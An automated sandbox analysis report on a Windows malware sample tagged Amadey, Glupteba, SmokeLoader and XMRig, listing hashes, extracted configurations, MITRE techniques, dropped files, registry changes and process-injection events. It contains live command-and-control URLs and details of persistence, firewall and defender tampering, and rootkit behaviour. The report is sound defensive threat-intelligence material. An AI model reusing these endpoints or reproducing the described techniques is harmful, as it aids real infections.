amadey | 2dea8cfcd31f4675d5462c385139b59528759bee88aec34ed9d0757d289e7a34

Analysis

max time kernel
159s
max time network
164s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
30/08/2023, 02:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

497KB
MD5

5bf6b19fd947c3fef6a8cc3555b2f18d
SHA1

865a3ecdac050d055f55e6e396f073cf95265d5d
SHA256

2dea8cfcd31f4675d5462c385139b59528759bee88aec34ed9d0757d289e7a34
SHA512

562a02a849019229e5dc2f067e116d798a8479df9c6843c674c923641b49ae44d166f03cdf26682a39243df1dce16f72a207cc75e731949b02e78056dc239d34
SSDEEP

6144:DDAYle3gPx+9iinDEXpBl6X8aHo7scVqAbIcfBm6GM/L7mGnxHHk5LULL0a:DD7e3gJ+PnIjJMdM/LyEHU

Score

10^/10

amadey glupteba smokeloader xmrig pub5 up3 backdoor dropper evasion loader miner persistence rootkit trojan upx

Malware Config

Extracted

Family

amadey

Version

3.83

45.9.74.80/0bjdn2Z/index.php

Extracted

Family

smokeloader

Botnet

pub5

Extracted

Family

smokeloader

Botnet

up3

Extracted

Family

smokeloader

Version

2022

http://taibi.at/tmp/

http://01stroy.ru/tmp/

http://mal-net.com/tmp/

http://gromograd.ru/tmp/

http://kingpirate.ru/tmp/

rc4.i32

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 16 IoCs

resource	yara_rule
behavioral2/memory/3524-87-0x0000000004A40000-0x000000000532B000-memory.dmp	family_glupteba
behavioral2/memory/3524-89-0x0000000000400000-0x000000000281B000-memory.dmp	family_glupteba
behavioral2/memory/3524-90-0x0000000000400000-0x000000000281B000-memory.dmp	family_glupteba
behavioral2/memory/3524-110-0x0000000004A40000-0x000000000532B000-memory.dmp	family_glupteba
behavioral2/memory/3524-112-0x0000000000400000-0x000000000281B000-memory.dmp	family_glupteba
behavioral2/memory/3524-145-0x0000000000400000-0x000000000281B000-memory.dmp	family_glupteba
behavioral2/memory/400-184-0x0000000000400000-0x000000000281B000-memory.dmp	family_glupteba
behavioral2/memory/400-208-0x0000000000400000-0x000000000281B000-memory.dmp	family_glupteba
behavioral2/memory/400-284-0x0000000000400000-0x000000000281B000-memory.dmp	family_glupteba
behavioral2/memory/4652-316-0x0000000000400000-0x000000000281B000-memory.dmp	family_glupteba
behavioral2/memory/4652-377-0x0000000000400000-0x000000000281B000-memory.dmp	family_glupteba
behavioral2/memory/4652-456-0x0000000000400000-0x000000000281B000-memory.dmp	family_glupteba
behavioral2/memory/4652-464-0x0000000000400000-0x000000000281B000-memory.dmp	family_glupteba
behavioral2/memory/4652-470-0x0000000000400000-0x000000000281B000-memory.dmp	family_glupteba
behavioral2/memory/4652-477-0x0000000000400000-0x000000000281B000-memory.dmp	family_glupteba
behavioral2/memory/4652-488-0x0000000000400000-0x000000000281B000-memory.dmp	family_glupteba

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs

description	pid	Process	procid_target
PID 4328 created 3252	4328	latestX.exe	35
PID 4328 created 3252	4328	latestX.exe	35
PID 4328 created 3252	4328	latestX.exe	35
PID 4328 created 3252	4328	latestX.exe	35
PID 4328 created 3252	4328	latestX.exe	35
PID 4064 created 3252	4064	updater.exe	35
PID 4064 created 3252	4064	updater.exe	35
PID 4064 created 3252	4064	updater.exe	35
PID 4064 created 3252	4064	updater.exe	35
PID 4064 created 3252	4064	updater.exe	35
PID 4064 created 3252	4064	updater.exe	35

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral2/memory/4064-453-0x00007FF75E590000-0x00007FF75EB31000-memory.dmp	xmrig
behavioral2/memory/800-466-0x00007FF769A80000-0x00007FF76A26F000-memory.dmp	xmrig
behavioral2/memory/800-472-0x00007FF769A80000-0x00007FF76A26F000-memory.dmp	xmrig
behavioral2/memory/800-476-0x00007FF769A80000-0x00007FF76A26F000-memory.dmp	xmrig
behavioral2/memory/800-490-0x00007FF769A80000-0x00007FF76A26F000-memory.dmp	xmrig
behavioral2/memory/800-497-0x00007FF769A80000-0x00007FF76A26F000-memory.dmp	xmrig

Downloads MZ/PE file

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	latestX.exe
File created	C:\Windows\System32\drivers\etc\hosts	updater.exe

Modifies Windows Firewall 1 TTPs 1 IoCs

evasion

Windows Service

T1543.003

pid	Process
4524	netsh.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 16 IoCs

pid	Process
3880	d0ccc283.exe
4804	newplayer.exe
5084	oneetx.exe
3912	toolspub2.exe
3524	31839b57a4f11171d6abc8bbc4451ee4.exe
4328	latestX.exe
1556	toolspub2.exe
400	31839b57a4f11171d6abc8bbc4451ee4.exe
3912	oneetx.exe
4064	updater.exe
4652	csrss.exe
532	injector.exe
3304	windefender.exe
2448	windefender.exe
4332	oneetx.exe
5068	f801950a962ddba14caaa44bf084b55c.exe

UPX packed file 11 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000400000000072b-457.dat	upx
behavioral2/files/0x000400000000072b-459.dat	upx
behavioral2/files/0x000400000000072b-460.dat	upx
behavioral2/memory/3304-461-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/2448-468-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/2448-478-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/files/0x000300000000072d-484.dat	upx
behavioral2/files/0x000300000000072d-486.dat	upx
behavioral2/memory/2448-487-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/5068-493-0x0000000000400000-0x0000000000C25000-memory.dmp	upx
behavioral2/memory/5068-495-0x0000000000400000-0x0000000000C25000-memory.dmp	upx

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-618519468-4027732583-1827558364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-618519468-4027732583-1827558364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 10 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 3912 set thread context of 1556	3912	toolspub2.exe	99
PID 4064 set thread context of 2928	4064	updater.exe	174
PID 4064 set thread context of 800	4064	updater.exe	175

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	31839b57a4f11171d6abc8bbc4451ee4.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	latestX.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\rss\csrss.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\rss	31839b57a4f11171d6abc8bbc4451ee4.exe

Launches sc.exe 11 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3212	sc.exe
2628	sc.exe
2408	sc.exe
2456	sc.exe
2844	sc.exe
4652	sc.exe
4736	sc.exe
3948	sc.exe
4424	sc.exe
3720	sc.exe
1176	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3464	schtasks.exe
3492	schtasks.exe
4348	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-2791 = "Novosibirsk Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-282 = "Central Europe Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-341 = "Egypt Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-841 = "Argentina Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-2941 = "Sao Tome Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-591 = "Malay Peninsula Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-2871 = "Magallanes Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-131 = "US Eastern Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-2181 = "Astrakhan Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-592 = "Malay Peninsula Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-532 = "Sri Lanka Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-221 = "Alaskan Daylight Time"	windefender.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-1931 = "Russia TZ 11 Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-402 = "Arabic Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-681 = "E. Australia Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-1892 = "Russia TZ 3 Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-2572 = "Turks and Caicos Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-912 = "Mauritius Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-682 = "E. Australia Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3880	d0ccc283.exe
3880	d0ccc283.exe
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE
3252	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3252	Explorer.EXE

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
652	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3880	d0ccc283.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	8	powershell.exe
Token: SeShutdownPrivilege	3252	Explorer.EXE
Token: SeCreatePagefilePrivilege	3252	Explorer.EXE
Token: SeDebugPrivilege	3524	31839b57a4f11171d6abc8bbc4451ee4.exe
Token: SeImpersonatePrivilege	3524	31839b57a4f11171d6abc8bbc4451ee4.exe
Token: SeDebugPrivilege	4284	powershell.exe
Token: SeShutdownPrivilege	4276	powercfg.exe
Token: SeCreatePagefilePrivilege	4276	powercfg.exe
Token: SeDebugPrivilege	1264	powershell.exe
Token: SeShutdownPrivilege	1632	powercfg.exe
Token: SeCreatePagefilePrivilege	1632	powercfg.exe
Token: SeShutdownPrivilege	1900	powercfg.exe
Token: SeCreatePagefilePrivilege	1900	powercfg.exe
Token: SeShutdownPrivilege	4660	powercfg.exe
Token: SeCreatePagefilePrivilege	4660	powercfg.exe
Token: SeIncreaseQuotaPrivilege	1264	powershell.exe
Token: SeSecurityPrivilege	1264	powershell.exe
Token: SeTakeOwnershipPrivilege	1264	powershell.exe
Token: SeLoadDriverPrivilege	1264	powershell.exe
Token: SeSystemProfilePrivilege	1264	powershell.exe
Token: SeSystemtimePrivilege	1264	powershell.exe
Token: SeProfSingleProcessPrivilege	1264	powershell.exe
Token: SeIncBasePriorityPrivilege	1264	powershell.exe
Token: SeCreatePagefilePrivilege	1264	powershell.exe
Token: SeBackupPrivilege	1264	powershell.exe
Token: SeRestorePrivilege	1264	powershell.exe
Token: SeShutdownPrivilege	1264	powershell.exe
Token: SeDebugPrivilege	1264	powershell.exe
Token: SeSystemEnvironmentPrivilege	1264	powershell.exe
Token: SeRemoteShutdownPrivilege	1264	powershell.exe
Token: SeUndockPrivilege	1264	powershell.exe
Token: SeManageVolumePrivilege	1264	powershell.exe
Token: 33	1264	powershell.exe
Token: 34	1264	powershell.exe
Token: 35	1264	powershell.exe
Token: 36	1264	powershell.exe
Token: SeIncreaseQuotaPrivilege	1264	powershell.exe
Token: SeSecurityPrivilege	1264	powershell.exe
Token: SeTakeOwnershipPrivilege	1264	powershell.exe
Token: SeLoadDriverPrivilege	1264	powershell.exe
Token: SeSystemProfilePrivilege	1264	powershell.exe
Token: SeSystemtimePrivilege	1264	powershell.exe
Token: SeProfSingleProcessPrivilege	1264	powershell.exe
Token: SeIncBasePriorityPrivilege	1264	powershell.exe
Token: SeCreatePagefilePrivilege	1264	powershell.exe
Token: SeBackupPrivilege	1264	powershell.exe
Token: SeRestorePrivilege	1264	powershell.exe
Token: SeShutdownPrivilege	1264	powershell.exe
Token: SeDebugPrivilege	1264	powershell.exe
Token: SeSystemEnvironmentPrivilege	1264	powershell.exe
Token: SeRemoteShutdownPrivilege	1264	powershell.exe
Token: SeUndockPrivilege	1264	powershell.exe
Token: SeManageVolumePrivilege	1264	powershell.exe
Token: 33	1264	powershell.exe
Token: 34	1264	powershell.exe
Token: 35	1264	powershell.exe
Token: 36	1264	powershell.exe
Token: SeIncreaseQuotaPrivilege	1264	powershell.exe
Token: SeSecurityPrivilege	1264	powershell.exe
Token: SeTakeOwnershipPrivilege	1264	powershell.exe
Token: SeLoadDriverPrivilege	1264	powershell.exe
Token: SeSystemProfilePrivilege	1264	powershell.exe
Token: SeSystemtimePrivilege	1264	powershell.exe
Token: SeProfSingleProcessPrivilege	1264	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4804	newplayer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4352 wrote to memory of 3880	4352	file.exe	83
PID 4352 wrote to memory of 3880	4352	file.exe	83
PID 4352 wrote to memory of 3880	4352	file.exe	83
PID 4352 wrote to memory of 4804	4352	file.exe	84
PID 4352 wrote to memory of 4804	4352	file.exe	84
PID 4352 wrote to memory of 4804	4352	file.exe	84
PID 4804 wrote to memory of 5084	4804	newplayer.exe	85
PID 4804 wrote to memory of 5084	4804	newplayer.exe	85
PID 4804 wrote to memory of 5084	4804	newplayer.exe	85
PID 5084 wrote to memory of 3464	5084	oneetx.exe	86
PID 5084 wrote to memory of 3464	5084	oneetx.exe	86
PID 5084 wrote to memory of 3464	5084	oneetx.exe	86
PID 5084 wrote to memory of 4276	5084	oneetx.exe	88
PID 5084 wrote to memory of 4276	5084	oneetx.exe	88
PID 5084 wrote to memory of 4276	5084	oneetx.exe	88
PID 4276 wrote to memory of 3948	4276	cmd.exe	90
PID 4276 wrote to memory of 3948	4276	cmd.exe	90
PID 4276 wrote to memory of 3948	4276	cmd.exe	90
PID 4276 wrote to memory of 2628	4276	cmd.exe	91
PID 4276 wrote to memory of 2628	4276	cmd.exe	91
PID 4276 wrote to memory of 2628	4276	cmd.exe	91
PID 4276 wrote to memory of 4672	4276	cmd.exe	92
PID 4276 wrote to memory of 4672	4276	cmd.exe	92
PID 4276 wrote to memory of 4672	4276	cmd.exe	92
PID 4276 wrote to memory of 1148	4276	cmd.exe	93
PID 4276 wrote to memory of 1148	4276	cmd.exe	93
PID 4276 wrote to memory of 1148	4276	cmd.exe	93
PID 4276 wrote to memory of 3304	4276	cmd.exe	94
PID 4276 wrote to memory of 3304	4276	cmd.exe	94
PID 4276 wrote to memory of 3304	4276	cmd.exe	94
PID 4276 wrote to memory of 3872	4276	cmd.exe	95
PID 4276 wrote to memory of 3872	4276	cmd.exe	95
PID 4276 wrote to memory of 3872	4276	cmd.exe	95
PID 5084 wrote to memory of 3912	5084	oneetx.exe	96
PID 5084 wrote to memory of 3912	5084	oneetx.exe	96
PID 5084 wrote to memory of 3912	5084	oneetx.exe	96
PID 5084 wrote to memory of 3524	5084	oneetx.exe	97
PID 5084 wrote to memory of 3524	5084	oneetx.exe	97
PID 5084 wrote to memory of 3524	5084	oneetx.exe	97
PID 5084 wrote to memory of 4328	5084	oneetx.exe	98
PID 5084 wrote to memory of 4328	5084	oneetx.exe	98
PID 3912 wrote to memory of 1556	3912	toolspub2.exe	99
PID 3912 wrote to memory of 1556	3912	toolspub2.exe	99
PID 3912 wrote to memory of 1556	3912	toolspub2.exe	99
PID 3912 wrote to memory of 1556	3912	toolspub2.exe	99
PID 3912 wrote to memory of 1556	3912	toolspub2.exe	99
PID 3912 wrote to memory of 1556	3912	toolspub2.exe	99
PID 3524 wrote to memory of 8	3524	31839b57a4f11171d6abc8bbc4451ee4.exe	105
PID 3524 wrote to memory of 8	3524	31839b57a4f11171d6abc8bbc4451ee4.exe	105
PID 3524 wrote to memory of 8	3524	31839b57a4f11171d6abc8bbc4451ee4.exe	105
PID 2700 wrote to memory of 3212	2700	cmd.exe	116
PID 2700 wrote to memory of 3212	2700	cmd.exe	116
PID 2700 wrote to memory of 4652	2700	cmd.exe	117
PID 2700 wrote to memory of 4652	2700	cmd.exe	117
PID 2700 wrote to memory of 4736	2700	cmd.exe	118
PID 2700 wrote to memory of 4736	2700	cmd.exe	118
PID 2700 wrote to memory of 3948	2700	cmd.exe	119
PID 2700 wrote to memory of 3948	2700	cmd.exe	119
PID 2700 wrote to memory of 2628	2700	cmd.exe	120
PID 2700 wrote to memory of 2628	2700	cmd.exe	120
PID 4672 wrote to memory of 4276	4672	cmd.exe	125
PID 4672 wrote to memory of 4276	4672	cmd.exe	125
